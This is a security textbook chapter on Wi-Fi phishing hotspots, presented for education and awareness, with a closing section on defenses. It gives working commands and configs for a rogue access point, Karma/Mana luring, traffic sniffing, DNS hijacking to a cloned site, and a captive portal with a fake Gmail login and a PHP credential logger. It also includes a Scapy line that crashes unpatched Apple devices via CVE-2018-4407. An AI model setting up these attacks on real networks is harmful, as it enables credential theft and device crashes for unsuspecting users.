第2章 Wi-Fi安全

2.4 无线钓鱼攻击实战

随着 WEP 热点的减少、WPS 漏洞的修复、高密码强度 WPA 网络的增多,只通过破解的方式来攻破 Wi-Fi 网络已经变得不那么容易了。而事实上,越来越多的黑客开始对攻击无线客户端感兴趣,他们通过无线钓鱼等技术获取用户的敏感信息。

从无线网络接入者的角度来看,其安全性完全取决于无线网络搭建者的身份。受到各种客观因素的限制,很多数据在无线网络上传输时都是明文的,如一般的网页、图片等;还有很多网站或邮件系统甚至在手机用户进行登录时,将账号和密码也进行了明文传输或只是简单加密传输(加密过程可逆)。因此,一旦有手机接入攻击者架设的钓鱼热点,通过该网络传输的各种信息(包括账号和密码等)就会被攻击者所截获。

在 2015 年央视 3•15 晚会上,我们团队进行了一场钓鱼热点的演示。在晚会现场,观众加入主办方指定的一个 Wi-Fi 网络后,用户手机上正在使用哪些软件、用户通过微信朋友圈浏览的照片等信息就都被显示在了大屏幕上。不仅如此,现场大屏幕上还展示了很多用户的电子邮箱信息。图 2-87 是现场直播的部分画面。

图像说明文字

特别值得一提的是,主持人在采访一位邮箱密码被展示出来的现场观众时,这位观众明确表示,到现场以后并没有登录电子邮箱。造成这种情况的原因是该用户所使用的电子邮箱软件在手机接入无线网络后,自动联网进行了数据更新,而在更新过程中,邮箱的账号和密码都被进行了明文传输。这个现场实验告诉我们:攻击者通过钓鱼热点盗取用户个人信息,用户往往是完全感觉不到的。

很多钓鱼热点并不会设置密码。智能手机在打开 Wi-Fi 功能时,会自动连接这些没有密码的热点,这使得钓鱼热点的攻击很难被发现。此外,钓鱼热点往往还会起一个很具迷惑性的名称,甚至直接冒充企业官方热点名称,骗取用户登录,从而骗得用户的账号密码等信息。

本节将通过搭建一个无线钓鱼热点,展示该攻击方式的危害性、隐蔽性和低成本性。读者将学习到构造一个精密的无线钓鱼网络所涉及的所有实现原理等,包括如何使用无线网卡创建热点、如何吸引更多用户连接热点、如何嗅探网络中的敏感信息、如何利用钓鱼网页获取用户敏感信息以及如何配置 Captive Portal 强制用户访问钓鱼界面。本节的末尾还将给出对无线钓鱼攻击的防护措施。

需要注意的是,本节的实验需要无线网卡支持 AP 模式才能建立热点。下面让我们一次性安装好需要用到的软件 hostapd、dnsmasq 及 php7.0-fpm。命令如下:

apt update 
apt install -y hostapd dnsmasq php7.0-fpm

2.4.1 创建无线热点

1. hostapd

hostapd 是一个用于AP和认证服务器的守护进程,它实现了与 802.11相关的接入管理,支持 802.1X、WPA、WPA2、EAP 等认证。通过 hostapd 可以将无线网卡切换为 AP 模式,建立 OPEN、WEP、WPA或 WPA2 等无线网络,还可以设置无线网卡的各种参数,包括频率、信号、Beacon 帧发送间隔、是否发送 Beacon 帧、如何响应 Probe Request 帧及 MAC 地址过滤条件等。

出于建立钓鱼热点的目的,自然会优先选择 OPEN 这种无加密的模式。首先,创建配置文件open.conf,在其中输入以下语句:

interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g

其中 interface 表示无线网卡接口名称,ssid 表示热点名称,channel 表示信道,hw_mode 用于指定无线模式,g代表 IEEE 802.11g。读者可根据实际情况做相应修改。

构建一个可使用的无线网络,除了创建接入点本身外,还需要配置 DHCP 和 DNS 等基础服务。 dnsmasq 是一款可同时提供 DNS 和 DHCP 服务功能、较易配置的轻量工具。作为 DNS 服务器,dnsmasq可以通过缓存 DNS 请求来提高访问已经访问过的网址的连接速度。作为 DHCP 服务器,dnsmasq 可以为局域网PC分配内网IP地址和提供路由。其默认配置文件为/etc/dnsmasq.conf,其中包含大量的注释,用以说明各项功能及配置方法。在默认情况下,它会开启 DNS 功能,同时加载系统/etc/resolv.conf 文件中的内容作为上游 DNS 信息。只需要在配置文件中设置特定的 DHCP 地址池范围和所服务的网络接口即可。代码如下:

#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0

保存后运行以下命令重启服务以使配置生效:

 systemctl restart dnsmasq

在运行 hostapd 创建热点前,还需要使用几条命令消除系统对网卡 AP 功能的限制,同时为网卡配置 IP 地址、掩码等信息,最后才能启动 hostapd 程序。命令如下:

nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
hostapd open.conf

运行效果如图 2-88 所示,随后就可以使用手机等设备连接该热点。

图像说明文字

2. airbase-ng

我们也可以使用 airbase-ng 工具来创建热点。使用 airbase-ng 会新增一个 at0 接口,需要将/etc/ resolv.conf 配置文件中的接口修改为 interface=at0,随后就可以运行以下命令来启动热点:

airbase-ng wlan0 -c 9 -e FreeWiFi
ifconfig at0 172.5.5.1/24

在上述命令中,-c 用于指定信道,-e 用于指定热点名称。

2.4.2 吸引无线设备连接热点

通常情况下,将热点名称设置为 Free WiFi 类似的字眼就能吸引许多蹭网的用户主动连接。除此外,攻击者还有其他办法让手机等设备自动连上热点,例如构建一个用户之前连过的热点名称(如CMCC、StarBucks 等),同样为无加密的方式。当无线设备搜索到该同名、同加密类型的历史连接热点(后文称为已保存网络列表)就会尝试自动连接。那么,是否可以通过某种方式获取无线设备的已保存网络列表信息呢?

无线设备为了加快连接速度,在执行主动扫描时会对外广播曾经连接过的无线热点名称,如图 2-89所示。一旦攻击者截获这个广播,自然就能知道用户连过哪些热点,随后把所有的无线热点名称伪造出来欺骗设备自动连接。

图像说明文字

如果某天你发现自己手机网络列表中竟然出现了大量连接过的热点名称(本不该出现在当前地理位置),那么说明有可能被这种方式攻击了。

1. Karma

2004 年,Dino dai Zovi 和 Shane Macaulay 两位安全研究员发布了 Karma 工具。Karma 能够收集客户端主动扫描时泄露的已保存网络列表①并伪造该名称的无密码热点,吸引客户端自动连接。

如图 2-90 所示,一个客户端发出了对两个不同热点名称(Home 和 Work)的 Probe Request 请求, Karma 对包含这两个热点名称的请求都进行了回复。这实际上违反了 802.11 标准协议,无论客户端请求任何 SSID,Karma 都会向其回复表示自己就是客户端所请求的热点,使客户端发起连接。

图像说明文字

一款知名的无线安全审计设备——WiFi Pineapple(俗称“大菠萝”)便内置了 Karma 攻击的功能,由无线安全审计公司 Hak5 开发并售卖,从 2008 年起到目前已经发布到第六代产品,如图 2-91 所示。

图像说明文字

① 已保存网络列表有时也称为首选网络(preferred network)或信任网络(trusted network)。

Hak5 公司的创始人 Darren Kitchen 曾在一次会议上发表了有关的安全演讲。在现场,他开启Pineapple 进行演示,在屏幕上展示了一份长长的设备清单,包含黑莓、iPhone、Android 和笔记本电脑等。这些设备自认为连接到了宾馆或星巴克的 Wi-Fi 热点,实际上它们都受到了 WiFi Pineapple 的欺骗而连接到其所创建的钓鱼网络。

通过-P 和-C 参数同样可以在 airbase-ng 中开启 Karma 模式:

 airbase-ng wlan0 -c 1 -e FreeWiFi -P -C 30

运行结果如图 2-92 所示。

图像说明文字

不过在今天,Karma 攻击已经不太好使了。因为各手机厂商了解到 Directed Probe Request 会泄露已保存网络列表信息,可能导致终端遭到钓鱼攻击,所以在较新版本的手机系统中都改变了主动扫描的实现方式:主要是使用不带 SSID 信息的 Broadcast Probe Request 取代会泄露信息的 Directed Probe Request,两者的对比如图 2-93 所示。

图像说明文字

采用 Directed Probe Request 的客户端会定时发送携带 SSID 信息的 Probe Request 帧,这导致已保存的网络列表信息泄露;而在 Broadcast Probe Request 中,客户端的 Probe Request 帧中的 SSID 字段为空,所有收到该请求的热点都会回复包含热点自身 SSID 信息的 Probe Response 帧,随后客户端再根据热点回复的 SSID 来决定是否连接。如此,在实现原有扫描功能的同时,还解决了泄露信息的问题。

我们知道,当热点配置为隐藏模式时,将不会对外发送 Beacon 帧,客户端想要自动连接隐藏热点的唯一方法就是持续不断地发送带有 SSID 信息的 Directed Probe Request,显然这会导致客户端泄露已保存的隐藏热点名称。后来 iOS 对此做了改进,设备会先检测周围是否存在隐藏热点,当至少存在一个隐藏热点时才会发送 Directed Probe Request 帧,不过这只是稍微增加了一些利用难度。

2. Mana

在 2014 年的 DEFCON 黑客会议上,由 Dominic White 和 Ian de Villiers 发布了 Mana 工具。Mana工具可以被理解为 Karma 2.0,它针对前面提到的问题做了以下一些改进。

(1) 收集周围可能存在的 Directed Probe Request 帧中的 SSID 信息或者由用户自定义的热点名称,将其制作成列表。当接收到 Broadcast Probe Request 时,Mana 工具会将列表中的每一个 SSID 依次构造成 Probe Response 帧向客户端回复。

(2) 针对 iOS 的隐藏热点处理,Mana 工具会自动创建一个隐藏热点用于触发 iOS 设备发送 Directed Probe Request。

(3) 增加了伪造 PEAP 等类型的 EAP SSL 方案热点的功能,可以抓取并破解 EAP Hash。破解后将认证信息存入 Radius 服务器,当客户端下次请求时就能成功连接上热点。

简单来说,Mana 工具会收集 Directed Probe Request 帧内的 SSID 信息或由用户自定义的开放式热点信息(如机场、公司、商场的 Wi-Fi 等)构成一个列表,随后,Mana 工具会对客户端的 Broadcast Probe Request 请求回复列表中的每一个热点名称,以期望覆盖到客户端曾经连接过的热点,如图 2-94 所示。

图像说明文字

总结一下,吸引用户设备连接到恶意热点有以下方式。

(1) 伪造常见的公共热点,用户受骗,会主动点击发起连接。

(2) 从 Directed Probe Request 帧中获得 SSID 信息,伪造同名热点,欺骗用户设备自动连接(旧版本系统设备、隐藏热点)。

(3) 通过 Mana 等工具收集热点列表,把列表中的所有热点名称回复给每个 Broadcast Probe Request帧的发送者,如果覆盖到客户端曾经连接过的热点,会自动连接。

在 Kali Linux 中可以通过源仓库安装 Mana 套件,其中就包含了加入 Mana 攻击的 hostapd 版本。安装命令如下:

apt install mana-toolkit

安装完成后,会默认生成一个/etc/mana-toolkit/hostapd-mana.conf 配置文件,如图 2-95 所示。

图像说明文字

该配置文件如 hostapd 程序一样,可以进行接口、热点名称及信道等配置,其中位于 31 行的enable_mana=1 表明开启 Mana 功能。随后运行 hostapd-mana,命令如下:

cd /usr/lib/mana-toolkit 
./hostapd /etc/mana-toolkit/hostapd-mana.conf

效果如图 2-96 所示。

图像说明文字

就建立钓鱼热点的场景而言,选择一家提供免费无线网络、电源和座位的咖啡馆是再好不过的。可以简单地将热点名称改为与店里的免费热点名称一致,同时使用另一块网卡发起 deauth 拒绝服务攻击使周围客户端掉线,如此就可以将周围的客户端吸引到我们的热点上。

2.4.3 嗅探网络中的敏感信息

当我们的设备能通过无线或有线的方式接入互联网时,为了使用户设备上的软件有更多网络交互并获取更多的信息,可以将钓鱼网络的流量转发至拥有互联网权限的网卡,从而使钓鱼网络也能连上外网。可以按照下面的操作步骤进行。首先开启 IP 路由转发功能:

sysctl -w net.ipv4.ip_forward=1

这种方式可以立即开启路由功能,但如果系统重启,设置的值会丢失。如果想永久保留配置,可以修改/etc/sysctl.conf 文件将net.ipv4.ip_forward=1前的“#”去掉并保存。

随后还需设置 iptables 规则,将来自钓鱼网络的数据包进行 NAT(network address translation,网络地址转换)处理并转发到外网出口。读者需要自身设备情况,将 eth0 修改为具有外网权限的网络接口。命令如下:

iptables -t nat - POSTROUTING -o eth0 -j MASQUERADE

当用户连入网络后,由于所有的网络请求都将经由我们的网卡进行转发,所以可以使用 Wireshark、 Tcpdump 等工具直接观察经过该无线网卡的所有流量,如图 2-97 所示。

图像说明文字

1. Bettercap

Bettercap 是一个模块化、便携、易于扩展的中间人攻击框架。在 2018 年发布的 Bettercap 2.0 版本使用 Golang 进行了重构,除了对原有的 MITM 攻击模块进行升级外,还加入了 802.11、BLE 攻击的模块。Bettercap 拥有十分强大的功能,这里只会使用其流量嗅探功能,读者若有兴趣,可根据帮助内容进一步探索。

首先启动 Bettercap,通过参数指定建立无线热点的网络接口 wlan0 并查看网络内的活跃主机,命令如下:

bettercap -iface wlan0
net.show

运行效果如图 2-98 所示。

图像说明文字

前面提到,由于整个无线网络的流量会经过我们的网卡进行转发,在这里只需打开嗅探功能就可看到所有客户端的网络流量:

net.sniff on

此时所有网络请求(如 DNS 查询、HTTP 请求等)都将在终端中显示其信息,如图 2-99 所示。

图像说明文字

除此之外,一旦用户有 POST 提交,会将提交中的每个字段进行展示,这其中可能会涉及账号等敏感信息,如图 2-100 所示。

图像说明文字

2. Driftnet

Driftnet 是一款简单、实用的图片捕获工具,可以很方便地抓取网络流量中的图片。使用 driftnet -i wlan0命令运行 Driftnet 程序,会在弹出的窗口中实时显示用户正在浏览的网页中的图片,如图 2-101所示。

图像说明文字

2.4.4 利用恶意的 DNS 服务器

很多时候,我们会面临无外网的情况,用户设备上的软件由于无法与其服务器交互,大大减少了敏感信息暴露的机会。除了被动嗅探流量中的信息外,还可以在本地部署钓鱼网站来诱导用户填入敏感信息。

无线客户端连接网络时,通过 DHCP 服务不仅能获取到本地的 IP 地址,还包括 DHCP 服务指定的 DNS 服务地址。当我们可以决定用户的 DNS 解析结果时,钓鱼攻击就可以达到比较完美的效果——界面和域名都与真实网址一致。在本节中,我们将学习如何操纵用户的 DNS 解析结果,从而将用户对任意网址的访问解析到本地。

实验目的:克隆 www.google.cn 界面(见图 2-102)到本地,并使无线客户端对指定网页的访问指向该克隆界面。

图像说明文字

(1) 打开网页 www.google.cn,通过把网页“另存为”的方式,将代码下载到 Downloads 目录。接着需要配置 Web 服务器,以 nginx 为例,打开配置文件/etc/nginx/sites-enable/default,输入以下内容:

server {
  listen 80 default_server;
  root /var/www/fakesite;
  index index.html

  location / {
    try_files $uri $uri/ /index.html;
   }
}

(2) 该配置文件指定本地 Web 服务监听 80 端口并以/var/www/fakesite 为根目录,将下载的 HTML代码放置到 Web 目录中并重启 nginx 服务,随后通过浏览器访问 172.5.5.1 查看效果。命令如下:

mkdir /var/www/fakesite
cd /var/www/fakesite
cp -r /root/Downloads/Google* .
mv Google.html index.html
systemctl restart nginx

当网页效果如图 2-103 所示,即配置成功。

图像说明文字

对 DNS 服务进行配置,同样打开 dnsmasq 的配置文件/etc/dnsmasq.conf,以 address=/url/ip的格式写入解析规则,表示将指定 URL 解析到指定 IP 地址。如果 url 处填写为#,将解析所有的地址,随后重启 dnsmasq 服务。代码与命令如下:

#/etc/dnsmasq.conf 
address=/#/172.5.5.1

systemctl restart dnsmasq

(3) 通过手机连接该热点,对任意地址进行访问测试(如 baidu.com),如果配置无误,将出现如图 2-104 所示的效果。

图像说明文字

当用户看到一个界面一模一样、域名也一模一样的网站,很难察觉到这是个钓鱼站点。

2.4.5 配置 Captive Portal

在真实的场景中,更可能对一个带有登录的界面进行克隆,这样能获取用户输入的账号密码信息。本节将构造一个带有登录界面的钓鱼网站,读者可学习如何修改现有的登录认证代码,使其配合iptables 和 nginx 来配置常在公共无线网络中使用的 Captive Portal 认证。

在 2.3.3 节中我们了解到,Captive Portal 认证通常被部署在公共无线网络中,当未认证用户连接时,会强制用户跳转到指定界面。在 iOS、Android、Windows、Mac OS X 等系统中其实已经包含了对 Captive Portal 的检测,以 Android 系统为例,当设备连入无线网络时会尝试请求访问 clients3.google. com/generate_204 并根据返回结果来判断网络状况。当返回 HTTP 204 时,表示网络正常;如果返回了HTTP 302 跳转,手机就会认为该网络存在网络认证,并以弹窗等方式显示在手机中,如图 2-105 所示的提示信息。iOS、Windows 等系统也都采取类似的检测逻辑。

图像说明文字

单击该提示就会直接打开认证界面。显然,一个热点配置了 Captive Portal 后会更显得像是一个“正式”的热点,同时利用该特性能让用户直达钓鱼界面。

1. iptables

iptables 是一种能完成封包过滤、重定向和网络地址转换(NAT)等功能的命令行工具。借助这个工具可以把用户的安全设定规则执行到底层安全框架 netfilter 中,起到防火墙的作用。

先通过 iptables 对来自无线网络的流量进行配置:

1 iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
2 iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
3 iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
4 iptables -A FORWARD -i wlan0 -j DROP
5 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
172.5.5.1:80
6 iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
7 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53

在上述命令中,第 1~4 行表示将所有网络流量包丢掉,但允许 DNS 查询及向网关特定端口请求的流量(在本例中是 172.5.5.1 的 80 端口);第 5 行表示将来自 NAT 网络的对 80 端口的数据请求都指向 172.5.5.1 的 80 端口;第 6~7 行表示将来自 NAT 网络的对 53 端口的 TCP、UDP 请求都指向 172.5.5.1的 53 端口。当这些 iptables 规则生效后,会有什么效果呢?

假设一部 Android 手机连接了该无线网络,手机会向 clients3.google.com/generate_204 发送一条请求。这命中了第 5 行的策略,实际请求被转发到了 172.5.5.1 的 80 端口。根据第 3 行的策略,对 172.5.5.1 80 端口的请求是被允许的。最终,客户端的请求到达了本地服务器的 80 端口。

2. nginx

接下来的任务是在本地启动HTTP服务,并配置网页信息及对相应请求的 302跳转等。同样以nginx为例,打开/etc/nginx/sites-enabled/default 文件,修改为以下配置:

server {
  listen 80 default_server;
  root /var/www/html;
  location / {
    try_files $uri $uri/ /index.html;
  }
  location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
  }
}

在上述配置中,会将/var/www/html 指定为 Web 根目录,当访问不存在的路径时都会被 302 跳转到 index.html 文件。同时还开启了对 PHP 文件的解析,因为后续会使用 PHP 程序来将用户输入的账号保存到本地。

我们直接使用 Kali 系统中 Setoolkit 工具的 Gmail 模板,界面如图 2-106 所示。

图像说明文字

修改该模板以用作认证界面。首先复制一份该模板到我们的 Web 根目录:

cp /usr/share/set/src/html/templates/google/index.template /var/www/html/index.html

由于该模板界面中使用了远程 Google 服务器上的图片和 CSS 文件,而钓鱼网络可能处于无外网的状态,这可能导致用户无法加载。我们应该将远程图片下载到本地,并将 index.html 中的引用地址指向本地文件(此步略)。你也可直接删掉相应的行,以“png”和“css”为关键词进行搜索。

寻找用于提交账号信息的 form 表单(撰写本书时,相关代码位于 912 行附近),将其中的 action值改为./post.php,如图 2-107 所示。

图像说明文字

同时在 Web 根目录/var/www/html 中创建 post.php 文件,写入以下内容:

<?php
    $file = 'log.txt';
    file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<meta http-equiv="refresh" content="0; url=./.." />

还需要为post.php 文件及所在文件夹设置用户权限:

chmod ug+wx . -R

对于iOS 设备,还依赖hotspot-detect.html 文件中的特定值。创建该文件并输入以下内容:

<HTML>
<HEAD>
<TITLE>Network Authentication Required</TITLE>
<META http-equiv="refresh" content="0; url=captive.html">
</HEAD>
<BODY>
<p>You need to <a href="index.html">authenticate with the local
network</a> in order to gain access.</p>
</BODY>
</HTML>

最后,重启nginx 及php 服务使配置生效,命令如下:

systemctl restart nginx
systemctl restart php7.0-fpm

到此,所有的配置工作就完成了。为了以后能够更方便地启动该热点,可以将所有的启动命令写到脚本中。以下脚本用于启动带 Captive Portal 功能的 Wi-Fi 热点,文件保存为 startwifi_portal.sh,读者可根据需求自行修改命令内容:

#!/bin/bash
iptables -F
iptables -t nat -F
iface=wlan0
ifconfig $iface up
iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
iptables -A FORWARD -i wlan0 -j DROP
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
172.5.5.1:80
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
systemctl restart dnsmasq
systemctl restart nginx
systemctl restart php7.0-fpm

cat open.conf
nmcli radio wifi off
rfkill unblock wlan
ifconfig $iface 172.5.5.1/24
hostapd open.conf

文件保存后,还需设置执行权限,命令如下:

chmod a+x startwifi_portal.sh

运行下面的命令即可查看效果:

./startwifi_portal.sh

使用手机连接该热点,会立即得到需要认证的提示,如图2-108 所示。

图像说明文字

打开提示后便出现了预设的钓鱼界面,如图2-109 所示。可以尝试在登录框中输入任意账号密码并单击Sign in 按钮进行提交。

图像说明文字

在Web 根目录下,可以查看记录了用户输入信息的log.txt 文件,内容如图2-110 所示。

图像说明文字

2.4.6 绵羊墙

绵羊墙是一套钓鱼热点风险体验系统,界面如图 2-111 所示。它模拟了黑客建立钓鱼热点、窃取用户敏感信息的整个过程,用来让观众亲身感受钓鱼热点的危险性。

图像说明文字

最早的绵羊墙(Wall of Sheep)起源于 2002 年美国的 DEFCON 黑客会议。在会议上,一群黑客偶然坐到一起,将现场正在使用不安全无线网络的参会者们的用户名和密码写在餐厅的纸盘子上,并贴到了墙上,还在一旁写了个大大的 Sheep。他们这样做,一方面是想教育公众“你很可能随时都被监视”,另一方面是想让那些参会者难堪——来参加黑客大会的人,自身也不注意安全。从此,绵羊墙项目成为西方举行各种黑客大会或安全大会上经常出现的趣味活动。黑客们每次都会想出各种新的花样在大会现场制造陷阱,入侵参会者的计算机和手机,窃听网络活动,并将结果投影展示在绵羊墙上,如图 2-112 所示。

图像说明文字

随着近些年来国内移动互联网的快速发展,无线网络越来越多地出现在家庭、公共场所、办公楼等区域,但无线网络的安全风险一直未被公众所熟知。直到 2015 年的央视 3•15 晚会“钓鱼热点” 环节的演示(见图 2-113),才第一次让国内较为广大的群体对此有了直观认识。

图像说明文字

为了更广泛地传播,我们结合国内用户的上网习惯,以 3•15 晚会的钓鱼热点功能为基础,将绵羊墙系统进行了进一步升级,并将整套系统集成到一台便携式装置中。只需要接通电源并插入网线就会自动建立热点并嗅探热点网络内的敏感信息。如图 2-114 所示,当体验用户连接热点后,其设备型号、正在浏览的网址、输入的账号信息都会被显示在屏幕上,甚至用户手机浏览器的实时截图及朋友圈里的照片都可能被黑客获取,如图 2-115 所示。

图像说明文字

实际上,本节几乎已经对所有制作绵羊墙所需要的技术原理进行了介绍,读者可以尝试结合本节内容,灵活运用各种技术,构建一个属于自己的绵羊墙版本。

自 2015 年起,我们的绵羊墙系统已成为多届 ISC 互联网安全大会、首都网络安全日会展的演示项目,如图 2-116 所示,其直观的互动体验和演示效果引起了参会观众的广泛关注。在 2016 年年底,绵羊墙还作为唯一的黑客互动演示项目入驻中国科学技术馆。

图像说明文字

除了提升公众安全意识外,绵羊墙还间接促进了许多互联网产品在安全方面的设计。它的大部分功能依赖于对未加密网络流量的嗅探,经过多年来媒体的跟踪报道,许多厂商也都逐渐认识到移动端网络环境的不确定性,对自己的应用服务采取 HTTPS 等安全措施,在保护用户数据安全性方面得到了大幅提升。

虽然这间接导致了绵羊墙部分展示功能不再奏效,但是符合我们的初衷——从攻击的角度展示风险并引起公众关注,进而促进相关厂商提升自身产品的安全性。就绵羊墙系统的使命而言,我们认为已经实现。

2.4.7 缓冲区溢出漏洞(CVE-2018-4407)

当受害者的设备与攻击者的设备处在同一 Wi-Fi 网络下,受害者设备除了容易遭到嗅探网络流量泄露敏感信息外,还容易遭受各种各样的漏洞攻击,如缓冲区溢出漏洞(CVE-2018-4407)。

CVE-2018-4407 是安全研究员 Kevin Backhouse 在 XNU 系统内核中发现的缓冲区溢出漏洞,攻击者可以利用该漏洞进行远程代码执行攻击。Kevin 在推特中给出了 PoC(漏洞验证脚本)和演示视频,可以使得同一局域网下的 MacBook 和 iPhone 设备崩溃。

CVE-2018-4407 漏洞的影响版本及设备范围如下。

 iOS 11 及更早版本:所有设备(升级到iOS 12 的部分设备)。

 macOS High Sierra(受影响的最高版本为10.13.6):所有设备。

 macOS Sierra(受影响的最高版本为10.12.6):所有设备。

 OS X El Capitan 及更早版本:所有设备。

我们可以通过 Scapy 工具发送特殊数据来触发该漏洞,首先在命令行中输入 scapy 打开工具,随后向目标设备发送一段特殊构造的 TCP 包:

send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

其中的 dst 参数需要根据实际情况修改为目标 IP 地址。利用 2.4.3 节中提到的 Bettercap 工具可以查看当前网络的活跃主机列表。

因为该漏洞较新,所以如果你的苹果设备没有及时更新版本,就会出现如图 2-117 所示的崩溃界面。

图像说明文字

通过类似的漏洞利用方式,甚至可以实时监控新连入网络的客户端,一旦发现苹果设备就自动发送测试代码,达到用户一连上 Wi-Fi 热点就死机的效果。

2.4.8 如何抵御无线钓鱼攻击

前面的内容以攻击者的角度详细讨论了钓鱼热点的构建方式及可能造成的危害,相信读者已经体会到这是一种低成本、高回报的攻击方式。那么作为用户,该如何避免遭到钓鱼热点的攻击呢?可以遵循以下简单规则来保护个人数据。

(1) 对公共 Wi-Fi 网络采取不信任的态度,尽量不连接没有密码保护的无线网络。

(2) 在使用公共热点时,尽量避免输入社交网络、邮件服务、网上银行等登录信息,避免使用网银、支付宝等包含敏感信息的应用软件。

(3) 在不使用 Wi-Fi 时关闭 Wi-Fi 功能,避免由自动连接功能带来的风险。

(4) 在有条件的情况下,使用虚拟专用网络(VPN)连接,这将使用户数据通过受保护的隧道传输。

以上策略都依靠用户自身的安全意识,实际上对于企业级用户而言,要求每一位员工都拥有良好的无线安全意识且能在日常使用时做到,是很难达到的。对于像企业这样拥有对一定区域无线网络防护需求的用户来说,可以考虑部署 WIPS 产品来抵御无线攻击。以在 2.3.6 节中提到的 WIPS 产品 “天巡”为例,当它检测到有第三方热点伪装成白名单内官方热点名称时,会自动对该恶意热点进行阻断,切断一切无线设备对该热点的连接,如此便可在很大程度上抵御类似的钓鱼热点攻击。

2.5 无线安全高级利用

在本节内容中,我们将向读者展示与无线安全有关的高级利用,实际上是 PegasusTeam 的一些研究项目,包括入选 Hack In The Box、Black Hat Arsenal 的议题《Ghost Tunnel(幽灵隧道)》、入选 KCon的《反无人机系统》及《恶意挖矿热点监测器》等。

2.5.1 Ghost Tunnel

2018 年 4 月,在荷兰阿姆斯特丹 Hack In The Box 安全会议上,我们分享了一个关于隔离网攻击技术的议题——Ghost Tunnel: Covert Data Exfiltration Channel to Circumvent Air Gapping(适用于隔离网络的 Wi-Fi 隐蔽传输通道)。

Ghost Tunnel 是一种可适用于隔离环境下的后门传输方式。一旦 payload(攻击载荷)在目标设备释放,Ghost Tunnel 可在用户无感知情况下对目标进行控制并将信息回传到攻击者的设备。相比于现有的其他类似研究(如 WHID,一种通过 Wi-Fi 进行控制的 HID 设备),Ghost Tunnel 不创建或依赖于任何有线、无线网络,甚至不需要外插任何硬件模块。

继该会议上分享后,同年 8 月 Ghost Tunnel 再次入选了 Black Hat USA 2018 Arsenal。

1. 常见的远控木马上线方式

说起远控木马,大家可能会想到一串耳熟能详的名称,如灰鸽子、冰河、byshell、PCShare、gh0st等。在此,我们以上线方式的不同来对远控木马进行简单分类,详见《木马的前世今生:上线方式的发展及新型上线方式的实现》(网址为 http://www.freebuf.com/articles/terminal/77412.html)。

 主动连接型。被控端开启特定端口,主控端通过被控端的 IP 及端口连接到被控端,该类型有3389 远程桌面、VNC 远程桌面等远控方式。

 反弹连接型。由于主动连接方式不适用于许多攻击目标所处的内网环境,因此许多木马采用反弹连接的方式进行上线。与主动连接的方式相反,反弹连接是由主控端监听特定端口,被控端执行木马后反向连接主控端。由于该方式的适用性更广,因此大部分木马都采用这种方式上线,如利用 FTP 上线、DNS 上线等,如图 2-118 所示。

图像说明文字

 通过第三方域名型。出于隐蔽性或反追踪的目的,有些新型木马采用第三方网站来进行上线,例如将知名博客类网站的文章内容及评论区、QQ 空间、微博、推特的推送内容甚至 QQ 个性签名作为上线地址,如图 2-119 所示。利用知名网站的好处是可以绕过某些防火墙的白名单限制。

图像说明文字

其实,Ghost Tunnel 也可以理解为一种木马的上线方式,只是它更针对于隔离网络的场景。

2. 什么是隔离网闸

简单来说,隔离网闸(air gapping)是一种用于保护特定网络的物理隔离安全措施,被用来防止利用网络连接实施入侵行为的发生。

隔离网闸的常见原理为:① 切断网络之间的通用协议连接;② 将数据包分解或重组为静态数据;③ 对静态数据进行安全审查,包括网络协议检查和代码扫描等;④ 确认后的安全数据流入内部单元; ⑤ 内部用户通过严格的身份认证机制获取所需数据。隔离网闸经常被使用在涉密网与非涉密网之间。

攻击者无论是想利用操作系统、应用软件还是想利用通信协议的漏洞,都需要通过网络触碰目标主机,因此攻击者在网络隔离的环境中就很难实施攻击了。不过凡事没有绝对,利用恶意 USB 就是一种具有可操作性的攻击方式,如震网病毒(Stuxnet Worm)、水蝮蛇一号(COTTONMOUTH-I)就是针对隔离网攻击的经典案例。

(1) 震网病毒

著名的震网病毒利用 USB 将病毒传入隔离网络。病毒随后会逐渐传播到网络中的其他设备上,并在适当的时候给工控设备①下发错误指令,导致设备异常直至报废。据相关媒体披露,震网病毒导致伊朗的核计划被迫延迟至少两年。

(2) 水蝮蛇一号

在斯诺登披露的 NSA 秘密武器中包含了该工具,水蝮蛇一号的内部包含了一套 ARMv7 芯片和无线收发装置。当它插入目标主机后会植入恶意程序并创建一个无线网桥,配套的设备可通过 RF 信号与其进行交互并传输命令和数据。同样,它被 NSA 用于攻击伊朗的秘密机构,从物理隔离的设备中窃取数据长达数年。

——————————

① 工控设备是指用于工业自动化控制的设备。

3. Ghost Tunnel 的应用

对于隔离网络的攻击一般有两个步骤:

① 在目标系统中植入恶意软件;

② 建立数据通道(infiltrate 和exfiltrate),以便执行命令和窃取数据。

根据之前的案例可以知道,任何可承载数据的媒介都可以用来建立数据通信的通道。Ghost Tunnel便是一个利用 Wi-Fi 信号的隐蔽传输通道。

